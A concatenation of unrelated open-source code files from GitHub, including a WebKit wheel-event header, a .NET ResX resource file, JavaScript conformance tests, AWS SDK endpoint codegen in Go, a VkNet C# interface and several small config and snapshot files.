DOM_DELTA_PIXEL = 0, DOM_DELTA_LINE, DOM_DELTA_PAGE }; static Ref<WheelEvent> create(const PlatformWheelEvent&, RefPtr<WindowProxy>&&); static Ref<WheelEvent> createForBindings(); struct Init : MouseEventInit { double deltaX { 0 }; double deltaY { 0 }; double deltaZ { 0 }; unsigned deltaMode { DOM_DELTA_PIXEL }; int wheelDeltaX { 0 }; // Deprecated. int wheelDeltaY { 0 }; // Deprecated. }; static Ref<WheelEvent> create(const AtomString& type, const Init&); WEBCORE_EXPORT void initWebKitWheelEvent(int rawDeltaX, int rawDeltaY, RefPtr<WindowProxy>&&, int screenX, int screenY, int pageX, int pageY, bool ctrlKey, bool altKey, bool shiftKey, bool metaKey); const Optional<PlatformWheelEvent>& underlyingPlatformEvent() const { return m_underlyingPlatformEvent; } double deltaX() const { return m_deltaX; } // Positive when scrolling right. double deltaY() const { return m_deltaY; } // Positive when scrolling down. double deltaZ() const { return m_deltaZ; } int wheelDelta() const { return wheelDeltaY() ? wheelDeltaY() : wheelDeltaX(); } // Deprecated. int wheelDeltaX() const { return m_wheelDelta.x(); } // Deprecated, negative when scrolling right. int wheelDeltaY() const { return m_wheelDelta.y(); } // Deprecated, negative when scrolling down. unsigned deltaMode() const { return m_deltaMode; } bool webkitDirectionInvertedFromDevice() const { return m_underlyingPlatformEvent && m_underlyingPlatformEvent.value().directionInvertedFromDevice(); } #if PLATFORM(MAC) PlatformWheelEventPhase phase() const { return m_underlyingPlatformEvent ? m_underlyingPlatformEvent.value().phase() : PlatformWheelEventPhaseNone; } PlatformWheelEventPhase momentumPhase() const { return m_underlyingPlatformEvent ? m_underlyingPlatformEvent.value().momentumPhase() : PlatformWheelEventPhaseNone; } #endif private: WheelEvent(); WheelEvent(const AtomString&, const Init&); WheelEvent(const PlatformWheelEvent&, RefPtr<WindowProxy>&&); EventInterface eventInterface() const final; bool isWheelEvent() const final; IntPoint m_wheelDelta; double m_deltaX { 0 }; double m_deltaY { 0 }; double m_deltaZ { 0 }; unsigned m_deltaMode { DOM_DELTA_PIXEL }; Optional<PlatformWheelEvent> m_underlyingPlatformEvent; }; } // namespace WebCore SPECIALIZE_TYPE_TRAITS_EVENT(WheelEvent)
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <root> <!-- Microsoft ResX Schema Version 2.0 The primary goals of this format is to allow a simple XML format that is mostly human readable. The generation and parsing of the various data types are done through the TypeConverter classes associated with the data types. Example: ... ado.net/XML headers & schema ... <resheader name="resmimetype">text/microsoft-resx</resheader> <resheader name="version">2.0</resheader> <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader> <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader> <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data> <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data> <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64"> <value>[base64 mime encoded serialized .NET Framework object]</value> </data> <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value> <comment>This is a comment</comment> </data> There are any number of "resheader" rows that contain simple name/value pairs. Each data row contains a name, and value. The row also contains a type or mimetype. Type corresponds to a .NET class that support text/value conversion through the TypeConverter architecture. Classes that don't support this are serialized and stored with the mimetype set. The mimetype is used for serialized objects, and tells the ResXResourceReader how to depersist the object. This is currently not extensible. For a given mimetype the value must be set accordingly: Note - application/x-microsoft.net.object.binary.base64 is the format that the ResXResourceWriter will generate, however the reader can read any of the formats listed below. mimetype: application/x-microsoft.net.object.binary.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.soap.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Soap.SoapFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.bytearray.base64 value : The object must be serialized into a byte array : using a System.ComponentModel.TypeConverter : and then encoded with base64 encoding. --> <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" /> <xsd:element name="root" msdata:IsDataSet="true"> <xsd:complexType> <xsd:choice maxOccurs="unbounded"> <xsd:element name="metadata"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" /> </xsd:sequence> <xsd:attribute name="name" use="required" type="xsd:string" /> <xsd:attribute name="type" type="xsd:string" /> <xsd:attribute name="mimetype" type="xsd:string" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="assembly"> <xsd:complexType> <xsd:attribute name="alias" type="xsd:string" /> <xsd:attribute name="name" type="xsd:string" /> </xsd:complexType> </xsd:element> <xsd:element name="data"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" /> <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" /> <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="resheader"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" /> </xsd:complexType> </xsd:element> </xsd:choice> </xsd:complexType> </xsd:element> </xsd:schema> <resheader name="resmimetype"> <value>text/microsoft-resx</value> </resheader> <resheader name="version"> <value>2.0</value> </resheader> <resheader name="reader"> <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <resheader name="writer"> <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <metadata name="Guid.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="ArmorName.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Armor.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Capacity.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Special.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Avail.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Source.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="Cost.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <value>True</value> </metadata> <metadata name="tmrSearch.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <value>228, 17</value> </metadata> </root>
{ "pile_set_name": "Github" }
/// Copyright (c) 2012 Ecma International. All rights reserved. /// Ecma International makes this code available under the terms and conditions set /// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the /// "Use Terms"). Any redistribution of this code must retain the above /// copyright and this notice and otherwise comply with the Use Terms. /** * @path ch15/15.2/15.2.3/15.2.3.9/15.2.3.9-4-3.js * @description Object.freeze - the extensions of 'O' is prevented already */ function testcase() { var obj = {}; obj.foo = 10; // default value of attributes: writable: true, enumerable: true Object.preventExtensions(obj); Object.freeze(obj); return Object.isFrozen(obj); } runTestCase(testcase);
{ "pile_set_name": "Github" }
/* * Copyright 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.css.compiler.ast; import com.google.common.base.Objects; import com.google.common.collect.ComparisonChain; import com.google.common.css.SourceCodeLocation; import javax.annotation.Nullable; /** * A node representing a selector in the AST. * * @author [email protected] (Oana Florescu) */ public class CssSelectorNode extends CssNode implements ChunkAware { /** Reference to a list of refiners. */ private CssRefinerListNode refiners; /** Reference to a combinator of selectors. */ private CssCombinatorNode combinator = null; /** Name of the selector held by this node. */ private String selectorName; /** The chunk this selector belongs to. */ private Object chunk; /** * Constructor of a selector node. * * @param selectorName * @param sourceCodeLocation */ public CssSelectorNode(@Nullable String selectorName, @Nullable SourceCodeLocation sourceCodeLocation) { super(sourceCodeLocation); this.selectorName = selectorName; this.refiners = new CssRefinerListNode(); becomeParentForNode(this.refiners); } /** * Constructor of a selector node. * * @param selectorName */ public CssSelectorNode(String selectorName) { this(selectorName, null); } /** * Copy-constructor of a selector node. * * @param node */ public CssSelectorNode(CssSelectorNode node) { this(node.getSelectorName(), node.getSourceCodeLocation()); this.chunk = node.getChunk(); this.refiners = node.getRefiners().deepCopy(); becomeParentForNode(this.refiners); if (node.getCombinator() != null) { this.combinator = node.getCombinator().deepCopy(); becomeParentForNode(this.combinator); } } @Override public CssSelectorNode deepCopy() { return new CssSelectorNode(this); } public CssRefinerListNode getRefiners() { return refiners; } public void setRefiners(CssRefinerListNode refiners) { removeAsParentOfNode(this.refiners); this.refiners = refiners; becomeParentForNode(this.refiners); } public CssCombinatorNode getCombinator() { return combinator; } public void setCombinator(CssCombinatorNode combinator) { if (this.combinator != null) { removeAsParentOfNode(this.combinator); } this.combinator = combinator; becomeParentForNode(this.combinator); } public void setSelectorName(String selectorName) { this.selectorName = selectorName; } public String getSelectorName() { return selectorName; } public Specificity getSpecificity() { return Specificity.of(this); } @Override public void setChunk(Object chunk) { this.chunk = chunk; } @Override public Object getChunk() { return chunk; } /** * For debugging only. */ @Override public String toString() { StringBuilder sb = new StringBuilder(); if (selectorName != null) { sb.append(selectorName); } if (!refiners.isEmpty()) { for (CssRefinerNode node : refiners.childIterable()) { sb.append(node.toString()); } } if (combinator != null) { sb.append(combinator.toString()); } return sb.toString(); } /** * The specifity of a selector is used to select among rules with the same * importance and origin. It is calculated as specified at * http://www.w3.org/TR/CSS2/cascade.html#specificity. */ public static class Specificity implements Comparable<Specificity> { /** * Counts 1 if the declaration is from is a 'style' attribute rather than * a rule with a selector, 0 otherwise */ // a omitted as always 0 /** * Counts the number of ID attributes in the selector. */ private final int b; /** * Counts the number of other attributes and pseudo-classes in the selector. */ private final int c; /** * Counts the number of element names and pseudo-elements in the selector. */ private final int d; Specificity(int b, int c, int d) { this.b = b; this.c = c; this.d = d; } private static Specificity of(CssSelectorNode s) { int b = 0; int c = 0; int d = 0; if (s.selectorName != null && !s.selectorName.isEmpty() && !s.selectorName.equals("*")) { d++; } for (CssRefinerNode refiner : s.refiners.childIterable()) { Specificity refinerSecificity = refiner.getSpecificity(); b += refinerSecificity.b; c += refinerSecificity.c; d += refinerSecificity.d; } if (s.combinator != null) { Specificity o = s.combinator.getSelector().getSpecificity(); b += o.b; c += o.c; d += o.d; } return new Specificity(b, c, d); } @Override public int compareTo(Specificity other) { return ComparisonChain.start() .compare(b, other.b) .compare(c, other.c) .compare(d, other.d) .result(); } @Override public boolean equals(@Nullable Object object) { if (object instanceof Specificity) { Specificity that = (Specificity) object; return this.b == that.b && this.c == that.c && this.d == that.d; } return false; } @Override public int hashCode() { return Objects.hashCode(b, c, d); } @Override public String toString() { return "0," + b + "," + c + "," + d; } } }
{ "pile_set_name": "Github" }
// // impl/src.hpp // ~~~~~~~~~~~~ // // Copyright (c) 2003-2017 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef BOOST_ASIO_IMPL_SRC_HPP #define BOOST_ASIO_IMPL_SRC_HPP #define BOOST_ASIO_SOURCE #include <boost/asio/detail/config.hpp> #if defined(BOOST_ASIO_HEADER_ONLY) # error Do not compile Asio library source with BOOST_ASIO_HEADER_ONLY defined #endif #include <boost/asio/impl/error.ipp> #include <boost/asio/impl/execution_context.ipp> #include <boost/asio/impl/executor.ipp> #include <boost/asio/impl/handler_alloc_hook.ipp> #include <boost/asio/impl/io_context.ipp> #include <boost/asio/impl/serial_port_base.ipp> #include <boost/asio/impl/system_context.ipp> #include <boost/asio/impl/thread_pool.ipp> #include <boost/asio/detail/impl/buffer_sequence_adapter.ipp> #include <boost/asio/detail/impl/descriptor_ops.ipp> #include <boost/asio/detail/impl/dev_poll_reactor.ipp> #include <boost/asio/detail/impl/epoll_reactor.ipp> #include <boost/asio/detail/impl/eventfd_select_interrupter.ipp> #include <boost/asio/detail/impl/handler_tracking.ipp> #include <boost/asio/detail/impl/kqueue_reactor.ipp> #include <boost/asio/detail/impl/null_event.ipp> #include <boost/asio/detail/impl/pipe_select_interrupter.ipp> #include <boost/asio/detail/impl/posix_event.ipp> #include <boost/asio/detail/impl/posix_mutex.ipp> #include <boost/asio/detail/impl/posix_thread.ipp> #include <boost/asio/detail/impl/posix_tss_ptr.ipp> #include <boost/asio/detail/impl/reactive_descriptor_service.ipp> #include <boost/asio/detail/impl/reactive_serial_port_service.ipp> #include <boost/asio/detail/impl/reactive_socket_service_base.ipp> #include <boost/asio/detail/impl/resolver_service_base.ipp> #include <boost/asio/detail/impl/scheduler.ipp> #include <boost/asio/detail/impl/select_reactor.ipp> #include <boost/asio/detail/impl/service_registry.ipp> #include <boost/asio/detail/impl/signal_set_service.ipp> #include <boost/asio/detail/impl/socket_ops.ipp> #include <boost/asio/detail/impl/socket_select_interrupter.ipp> #include <boost/asio/detail/impl/strand_executor_service.ipp> #include <boost/asio/detail/impl/strand_service.ipp> #include <boost/asio/detail/impl/throw_error.ipp> #include <boost/asio/detail/impl/timer_queue_ptime.ipp> #include <boost/asio/detail/impl/timer_queue_set.ipp> #include <boost/asio/detail/impl/win_iocp_handle_service.ipp> #include <boost/asio/detail/impl/win_iocp_io_context.ipp> #include <boost/asio/detail/impl/win_iocp_serial_port_service.ipp> #include <boost/asio/detail/impl/win_iocp_socket_service_base.ipp> #include <boost/asio/detail/impl/win_event.ipp> #include <boost/asio/detail/impl/win_mutex.ipp> #include <boost/asio/detail/impl/win_object_handle_service.ipp> #include <boost/asio/detail/impl/win_static_mutex.ipp> #include <boost/asio/detail/impl/win_thread.ipp> #include <boost/asio/detail/impl/win_tss_ptr.ipp> #include <boost/asio/detail/impl/winrt_ssocket_service_base.ipp> #include <boost/asio/detail/impl/winrt_timer_scheduler.ipp> #include <boost/asio/detail/impl/winsock_init.ipp> #include <boost/asio/generic/detail/impl/endpoint.ipp> #include <boost/asio/ip/impl/address.ipp> #include <boost/asio/ip/impl/address_v4.ipp> #include <boost/asio/ip/impl/address_v6.ipp> #include <boost/asio/ip/impl/host_name.ipp> #include <boost/asio/ip/impl/network_v4.ipp> #include <boost/asio/ip/impl/network_v6.ipp> #include <boost/asio/ip/detail/impl/endpoint.ipp> #include <boost/asio/local/detail/impl/endpoint.ipp> #endif // BOOST_ASIO_IMPL_SRC_HPP
{ "pile_set_name": "Github" }
_runtimePath_ "../runtime" _codeRomType_ ROMv1 cls loop: p=peek(15) if p &&= 49 at 2,40 : print "one "; elseif p &&= 50 at 2,40 : print "two "; elseif p &&= 51 at 2,40 : print "three"; else at 2,40 : print "none "; endif goto &loop
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="0;URL=../../../../../libc/type.blksize_t.html"> </head> <body> <p>Redirecting to <a href="../../../../../libc/type.blksize_t.html">../../../../../libc/type.blksize_t.html</a>...</p> <script>location.replace("../../../../../libc/type.blksize_t.html" + location.search + location.hash);</script> </body> </html>
{ "pile_set_name": "Github" }
// Jest Snapshot v1, https://goo.gl/fbAQLP exports[`renders nothing and adds tags to headTags context array 1`] = `"<div>Yes render</div>"`; exports[`renders nothing and adds tags to headTags context array 2`] = ` Array [ <title data-rh="" > Title </title>, <style data-rh="" > body {} </style>, <link data-rh="" href="index.css" />, <meta charSet="utf-8" data-rh="" />, ] `; exports[`renders only last meta with the same property 1`] = ` Array [ <meta data-rh="" property="name1" > Meta 2 </meta>, <meta data-rh="" name="name2" > Meta 4 </meta>, <meta data-rh="" property="name3" > Meta 6 </meta>, ] `; exports[`renders only the last meta with the same name 1`] = ` Array [ <meta data-rh="" > Meta 2 </meta>, <meta data-rh="" name="1" > Meta 3 </meta>, <meta data-rh="" name="3" > Meta 5 </meta>, <meta data-rh="" name="2" > Meta 6 </meta>, ] `; exports[`renders only the last title 1`] = ` Array [ <title data-rh="" > Title 3 </title>, ] `;
{ "pile_set_name": "Github" }
// +build codegen package endpoints import ( "fmt" "io" "reflect" "strings" "text/template" "unicode" ) // A CodeGenOptions are the options for code generating the endpoints into // Go code from the endpoints model definition. type CodeGenOptions struct { // Options for how the model will be decoded. DecodeModelOptions DecodeModelOptions } // Set combines all of the option functions together func (d *CodeGenOptions) Set(optFns ...func(*CodeGenOptions)) { for _, fn := range optFns { fn(d) } } // CodeGenModel given a endpoints model file will decode it and attempt to // generate Go code from the model definition. Error will be returned if // the code is unable to be generated, or decoded. func CodeGenModel(modelFile io.Reader, outFile io.Writer, optFns ...func(*CodeGenOptions)) error { var opts CodeGenOptions opts.Set(optFns...) resolver, err := DecodeModel(modelFile, func(d *DecodeModelOptions) { *d = opts.DecodeModelOptions }) if err != nil { return err } tmpl := template.Must(template.New("tmpl").Funcs(funcMap).Parse(v3Tmpl)) if err := tmpl.ExecuteTemplate(outFile, "defaults", resolver); err != nil { return fmt.Errorf("failed to execute template, %v", err) } return nil } func toSymbol(v string) string { out := []rune{} for _, c := range strings.Title(v) { if !(unicode.IsNumber(c) || unicode.IsLetter(c)) { continue } out = append(out, c) } return string(out) } func quoteString(v string) string { return fmt.Sprintf("%q", v) } func regionConstName(p, r string) string { return toSymbol(p) + toSymbol(r) } func partitionGetter(id string) string { return fmt.Sprintf("%sPartition", toSymbol(id)) } func partitionVarName(id string) string { return fmt.Sprintf("%sPartition", strings.ToLower(toSymbol(id))) } func listPartitionNames(ps partitions) string { names := []string{} switch len(ps) { case 1: return ps[0].Name case 2: return fmt.Sprintf("%s and %s", ps[0].Name, ps[1].Name) default: for i, p := range ps { if i == len(ps)-1 { names = append(names, "and "+p.Name) } else { names = append(names, p.Name) } } return strings.Join(names, ", ") } } func boxedBoolIfSet(msg string, v boxedBool) string { switch v { case boxedTrue: return fmt.Sprintf(msg, "boxedTrue") case boxedFalse: return fmt.Sprintf(msg, "boxedFalse") default: return "" } } func stringIfSet(msg, v string) string { if len(v) == 0 { return "" } return fmt.Sprintf(msg, v) } func stringSliceIfSet(msg string, vs []string) string { if len(vs) == 0 { return "" } names := []string{} for _, v := range vs { names = append(names, `"`+v+`"`) } return fmt.Sprintf(msg, strings.Join(names, ",")) } func endpointIsSet(v endpoint) bool { return !reflect.DeepEqual(v, endpoint{}) } func serviceSet(ps partitions) map[string]struct{} { set := map[string]struct{}{} for _, p := range ps { for id := range p.Services { set[id] = struct{}{} } } return set } var funcMap = template.FuncMap{ "ToSymbol": toSymbol, "QuoteString": quoteString, "RegionConst": regionConstName, "PartitionGetter": partitionGetter, "PartitionVarName": partitionVarName, "ListPartitionNames": listPartitionNames, "BoxedBoolIfSet": boxedBoolIfSet, "StringIfSet": stringIfSet, "StringSliceIfSet": stringSliceIfSet, "EndpointIsSet": endpointIsSet, "ServicesSet": serviceSet, } const v3Tmpl = ` {{ define "defaults" -}} // Code generated by aws/endpoints/v3model_codegen.go. DO NOT EDIT. package endpoints import ( "regexp" ) {{ template "partition consts" . }} {{ range $_, $partition := . }} {{ template "partition region consts" $partition }} {{ end }} {{ template "service consts" . }} {{ template "endpoint resolvers" . }} {{- end }} {{ define "partition consts" }} // Partition identifiers const ( {{ range $_, $p := . -}} {{ ToSymbol $p.ID }}PartitionID = {{ QuoteString $p.ID }} // {{ $p.Name }} partition. {{ end -}} ) {{- end }} {{ define "partition region consts" }} // {{ .Name }} partition's regions. const ( {{ range $id, $region := .Regions -}} {{ ToSymbol $id }}RegionID = {{ QuoteString $id }} // {{ $region.Description }}. {{ end -}} ) {{- end }} {{ define "service consts" }} // Service identifiers const ( {{ $serviceSet := ServicesSet . -}} {{ range $id, $_ := $serviceSet -}} {{ ToSymbol $id }}ServiceID = {{ QuoteString $id }} // {{ ToSymbol $id }}. {{ end -}} ) {{- end }} {{ define "endpoint resolvers" }} // DefaultResolver returns an Endpoint resolver that will be able // to resolve endpoints for: {{ ListPartitionNames . }}. // // Use DefaultPartitions() to get the list of the default partitions. func DefaultResolver() Resolver { return defaultPartitions } // DefaultPartitions returns a list of the partitions the SDK is bundled // with. The available partitions are: {{ ListPartitionNames . }}. // // partitions := endpoints.DefaultPartitions // for _, p := range partitions { // // ... inspect partitions // } func DefaultPartitions() []Partition { return defaultPartitions.Partitions() } var defaultPartitions = partitions{ {{ range $_, $partition := . -}} {{ PartitionVarName $partition.ID }}, {{ end }} } {{ range $_, $partition := . -}} {{ $name := PartitionGetter $partition.ID -}} // {{ $name }} returns the Resolver for {{ $partition.Name }}. func {{ $name }}() Partition { return {{ PartitionVarName $partition.ID }}.Partition() } var {{ PartitionVarName $partition.ID }} = {{ template "gocode Partition" $partition }} {{ end }} {{ end }} {{ define "default partitions" }} func DefaultPartitions() []Partition { return []partition{ {{ range $_, $partition := . -}} // {{ ToSymbol $partition.ID}}Partition(), {{ end }} } } {{ end }} {{ define "gocode Partition" -}} partition{ {{ StringIfSet "ID: %q,\n" .ID -}} {{ StringIfSet "Name: %q,\n" .Name -}} {{ StringIfSet "DNSSuffix: %q,\n" .DNSSuffix -}} RegionRegex: {{ template "gocode RegionRegex" .RegionRegex }}, {{ if EndpointIsSet .Defaults -}} Defaults: {{ template "gocode Endpoint" .Defaults }}, {{- end }} Regions: {{ template "gocode Regions" .Regions }}, Services: {{ template "gocode Services" .Services }}, } {{- end }} {{ define "gocode RegionRegex" -}} regionRegex{ Regexp: func() *regexp.Regexp{ reg, _ := regexp.Compile({{ QuoteString .Regexp.String }}) return reg }(), } {{- end }} {{ define "gocode Regions" -}} regions{ {{ range $id, $region := . -}} "{{ $id }}": {{ template "gocode Region" $region }}, {{ end -}} } {{- end }} {{ define "gocode Region" -}} region{ {{ StringIfSet "Description: %q,\n" .Description -}} } {{- end }} {{ define "gocode Services" -}} services{ {{ range $id, $service := . -}} "{{ $id }}": {{ template "gocode Service" $service }}, {{ end }} } {{- end }} {{ define "gocode Service" -}} service{ {{ StringIfSet "PartitionEndpoint: %q,\n" .PartitionEndpoint -}} {{ BoxedBoolIfSet "IsRegionalized: %s,\n" .IsRegionalized -}} {{ if EndpointIsSet .Defaults -}} Defaults: {{ template "gocode Endpoint" .Defaults -}}, {{- end }} {{ if .Endpoints -}} Endpoints: {{ template "gocode Endpoints" .Endpoints }}, {{- end }} } {{- end }} {{ define "gocode Endpoints" -}} endpoints{ {{ range $id, $endpoint := . -}} "{{ $id }}": {{ template "gocode Endpoint" $endpoint }}, {{ end }} } {{- end }} {{ define "gocode Endpoint" -}} endpoint{ {{ StringIfSet "Hostname: %q,\n" .Hostname -}} {{ StringIfSet "SSLCommonName: %q,\n" .SSLCommonName -}} {{ StringSliceIfSet "Protocols: []string{%s},\n" .Protocols -}} {{ StringSliceIfSet "SignatureVersions: []string{%s},\n" .SignatureVersions -}} {{ if or .CredentialScope.Region .CredentialScope.Service -}} CredentialScope: credentialScope{ {{ StringIfSet "Region: %q,\n" .CredentialScope.Region -}} {{ StringIfSet "Service: %q,\n" .CredentialScope.Service -}} }, {{- end }} {{ BoxedBoolIfSet "HasDualStack: %s,\n" .HasDualStack -}} {{ StringIfSet "DualStackHostname: %q,\n" .DualStackHostname -}} } {{- end }} `
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <regress-exe> <test> <default> <files>Prototype.js</files> <baseline>Prototype.baseline</baseline> </default> </test> <test> <default> <files>Prototype2.js</files> <baseline>Prototype2.baseline</baseline> </default> </test> <test> <default> <files>deep.js</files> <baseline>deep.baseline</baseline> </default> </test> <test> <default> <files>initProto.js</files> <baseline>initProto.baseline</baseline> </default> </test> <test> <default> <files>ChangePrototype.js</files> <compile-flags>-trace:TypeShareForChangePrototype -JsBuiltIn-</compile-flags> <baseline>ChangePrototype.baseline</baseline> </default> </test> <test> <default> <files>ReadOnly.js</files> </default> </test> <test> <default> <files>shadow.js</files> </default> </test> <test> <default> <files>shadow2.js</files> </default> </test> </regress-exe>
{ "pile_set_name": "Github" }
using System; using System.Threading.Tasks; using JetBrains.Annotations; using VkNet.Enums.SafetyEnums; using VkNet.Model; using VkNet.Model.RequestParams; using VkNet.Utils; namespace VkNet.Abstractions { /// <summary> /// Служебные методы. /// </summary> public interface IUtilsCategoryAsync { /// <summary> /// Возвращает информацию о том, является ли внешняя ссылка заблокированной на /// сайте ВКонтакте. /// </summary> /// <param name="url"> Внешняя ссылка, которую необходимо проверить. </param> /// <returns> Статус ссылки </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.checkLink /// </remarks> Task<LinkAccessType> CheckLinkAsync([NotNull] string url); /// <summary> /// Возвращает информацию о том, является ли внешняя ссылка заблокированной на /// сайте ВКонтакте. /// </summary> /// <param name="url"> Внешняя ссылка, которую необходимо проверить. </param> /// <returns> Статус ссылки </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.checkLink /// </remarks> Task<LinkAccessType> CheckLinkAsync([NotNull] Uri url); /// <summary> /// Определяет тип объекта (пользователь, сообщество, приложение) и его /// идентификатор по короткому имени ScreenName. /// </summary> /// <param name="screenName"> Короткое имя </param> /// <returns> Тип объекта </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.resolveScreenName /// </remarks> Task<VkObject> ResolveScreenNameAsync([NotNull] string screenName); /// <summary> /// Возвращает текущее время на сервере ВКонтакте в unixtime. /// </summary> /// <returns> Время на сервере ВКонтакте в unixtime </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.getServerTime /// </remarks> Task<DateTime> GetServerTimeAsync(); /// <summary> /// Позволяет получить URL, сокращенный с помощью vk.cc. /// </summary> /// <returns> URL, сокращенный с помощью vk.cc </returns> Task<ShortLink> GetShortLinkAsync(Uri url, bool isPrivate); /// <summary> /// Удаляет сокращенную ссылку из списка пользователя. /// </summary> /// <param name="key"> сокращенная ссылка (часть URL после "vk.cc/"). </param> /// <returns> /// После успешного выполнения возвращает 1. /// </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.deleteFromLastShortened /// </remarks> Task<bool> DeleteFromLastShortenedAsync(string key); /// <summary> /// Получает список сокращенных ссылок для текущего пользователя. /// </summary> /// <param name="count"> количество ссылок, которые необходимо получить. </param> /// <param name="offset"> сдвиг для получения определенного подмножества ссылок. </param> /// <returns> /// Возвращает количество ссылок в поле count (integer) и массив объектов items, /// описывающих ссылки. /// </returns> /// <remarks> /// Страница документации ВКонтакте http://vk.com/dev/utils.getLastShortenedLinks /// </remarks> Task<VkCollection<ShortLink>> GetLastShortenedLinksAsync(ulong count = 10, ulong offset = 0); /// <summary> /// Возвращает статистику переходов по сокращенной ссылке. /// </summary> /// <param name="params"> Параметры запроса </param> /// <returns> </returns> Task<LinkStatsResult> GetLinkStatsAsync(LinkStatsParams @params); } }
{ "pile_set_name": "Github" }
import React from 'react'; export default function Home() { return ( <div> <h2>Home</h2> <p>Welcome to the site!</p> </div> ); }
{ "pile_set_name": "Github" }
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build arm,openbsd package unix func setTimespec(sec, nsec int64) Timespec { return Timespec{Sec: sec, Nsec: int32(nsec)} } func setTimeval(sec, usec int64) Timeval { return Timeval{Sec: sec, Usec: int32(usec)} } func SetKevent(k *Kevent_t, fd, mode, flags int) { k.Ident = uint32(fd) k.Filter = int16(mode) k.Flags = uint16(flags) } func (iov *Iovec) SetLen(length int) { iov.Len = uint32(length) } func (msghdr *Msghdr) SetControllen(length int) { msghdr.Controllen = uint32(length) } func (cmsg *Cmsghdr) SetLen(length int) { cmsg.Len = uint32(length) } // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions // of openbsd/arm the syscall is called sysctl instead of __sysctl. const SYS___SYSCTL = SYS_SYSCTL
{ "pile_set_name": "Github" }
